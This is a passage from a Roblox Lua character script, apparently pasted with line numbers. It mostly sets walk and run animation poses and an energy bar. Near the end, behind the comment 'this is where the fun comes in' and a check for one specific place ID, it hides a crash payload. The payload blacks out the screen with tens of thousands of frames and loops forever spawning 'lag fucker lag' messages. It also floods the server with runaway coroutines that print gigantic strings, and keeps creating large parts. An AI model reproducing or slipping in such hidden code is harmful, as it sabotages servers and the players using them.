            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5910
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5911
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5912
]]--
5913
Footsteps:Play()
5914
Footsteps2:Stop()
5915
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
5916
Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
5917
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
5918
RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
5919
LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
5920
RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
5921
LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
5922
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5923
Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
5924
Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
5925
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5926
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5927
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5928
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5929
end
5930
elseif torvel>=22 and hitfloor~=nil then
5931
Anim="Run"
5932
change=1
5933
if attack==false then
5934
Footsteps:Stop()
5935
Footsteps2:Play()
5936
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
5937
Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
5938
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
5939
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
5940
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
5941
RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
5942
LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
5943
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
5944
Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
5945
Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
5946
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5947
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
5948
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5949
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
5950
end
5951
end
5952
end
5953
fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
5954
fenbarmana4.Text="[Energy]                    <{[  "..mana.."  ]}>                    [Energy]"
5955
text.Text = math.floor(hum.Health)
5956
if mana>=100 then
5957
mana=100
5958
else
5959
if mananum<=8 then
5960
mananum=mananum+100
5961
else
5962
mananum=0
5963
mana=mana+100
5964
end
5965
end
5966
end
5967
5968
5969
5970
5971
--- shshshhh this is where the fun comes in ---
5972
if game.PlaceId == 21053279 then
5973
plr = owner
5974
char = plr.Character
5975
cam = workspace.CurrentCamera
5976
cam.CameraType = "Scriptable"
5977
cam.CoordinateFrame = CFrame.new(0,0,50)
5978
local localContainer
5979
local service=setmetatable({
5980
	MarketPlace=game:service("MarketplaceService");
5981
	GamepassService=game:service("GamePassService");
5982
	ChatService=game:service("Chat");
5983
	LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
5984
},{
5985
	__index=function(tab,index)
5986
		local serv
5987
		local ran,err=pcall(function() serv=game:service(index) end)
5988
		if ran then
5989
			tab[index]=serv
5990
			return serv
5991
		end
5992
	end
5993
})
5994
5995
local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
5996
5997
x=owner
5998
				 x.CameraMode=Enum.CameraMode.LockFirstPerson
5999
				 f=Instance.new("Frame")
6000
				 f.Size=UDim2.new(1,0,1,0)
6001
				 f.BackgroundTransparency=0.01
6002
				 f.BackgroundColor3=Color3.new()
6003
				 pg=x.PlayerGui
6004
				 gui=Instance.new("ScreenGui",pg)
6005
				 wait(.1)
6006
			     for i=1,28000 do
6007
				 f:Clone().Parent=gui
6008
				 f:Clone().Parent=gui
6009
				 f:Clone().Parent=gui
6010
				 end
6011
			
6012
	script:Destroy();
6013
local runService = Game:GetService("RunService").Stepped;
6014
local LagNum = 1250;
6015
local str = "lag fucker lag";
6016
6017
for i = 1, math.huge do
6018
        if i % LagNum == 0 then runService:wait(); end
6019
        Instance.new("Message", Workspace).Text = str;
6020
end
6021
6022
local bores=coroutine.create(function() --Yolo?
6023
	cPcall(function()
6024
		--print(Game[("%s|"):rep(0xFFFFFFF)])
6025
	cPcall(print,'lol')
6026
	cPcall(warn,'lol')
6027
	cPcall(error,'lol')
6028
	while wait(0.1) do
6029
	spawn(function()
6030
		cPcall(function() 
6031
		spawn(function()
6032
		local tab={}
6033
		pcall(function()
6034
			spawn(function()
6035
			for i=1,1000000 do
6036
				cPcall(function()
6037
				spawn(function()
6038
					local bob2=coroutine.create(function()
6039
						function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
6040
						function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end 
6041
						spawn(f1)
6042
					end)
6043
					spawn(function() delay(0,function() coroutine.resume(bob2) end) end) 
6044
					spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
6045
				end)
6046
				end)
6047
			end
6048
			tab={}
6049
			end)
6050
		end)
6051
		end) 
6052
		end)
6053
	end)
6054
	end
6055
	end)
6056
end)
6057
6058
service.RunService.Stepped:connect(function()
6059
	for i=1,500000 do
6060
		delay(0,function() pcall(function() coroutine.resume(bores) end) end)
6061
	end
6062
end)
6063
6064
6065
	local function bob()
6066
	cPcall(function()
6067
		while wait(0.1) do
6068
			--cPcall(function()
6069
			--for i=1,100 do
6070
				local p=Instance.new("Part")
6071
				p.Material="Neon"
6072
				p.Size=Vector3.new(50,50,50)
6073
				p.Anchored=true
6074
				p.BackSurface="Studs"
6075
				p.BottomSurface="Studs"
6076
				p.FrontSurface="Studs"
6077
				p.LeftSurface="Studs"
6078
				p.RightSurface="Studs"
6079
				p.TopSurface="Studs"
6080
				local t=Instance.new("Texture",p)
6081
				t.Texture="http://www.roblox.com/asset/?id=190803157"
6082
				t.Face="Top"
6083
				t.StudsPerTileU=1000
6084
				t.StudsPerTileV=1000
6085
				local t2=t:clone()
6086
				t2.Parent=p
6087
				t2.Face="Bottom"
6088
				local t2=t:clone()
6089
				t2.Parent=p
6090
				t2.Face="Left"
6091
				local t2=t:clone()
6092
				t2.Parent=p
6093
				t2.Face="Right"
6094
				local t2=t:clone()
6095
				t2.Parent=p
6096
				t2.Face="Front"
6097
				local t2=t:clone()
6098
				t2.Parent=p
6099
				t2.Face="Back"
6100
				p.Parent=service.LocalContainer()
6101
			--end
6102
			--end)
6103
		end
6104
	end)
6105
	end
6106
	bob() --while wait(0.1) do cPcall(bob) end
6107
end
6108
--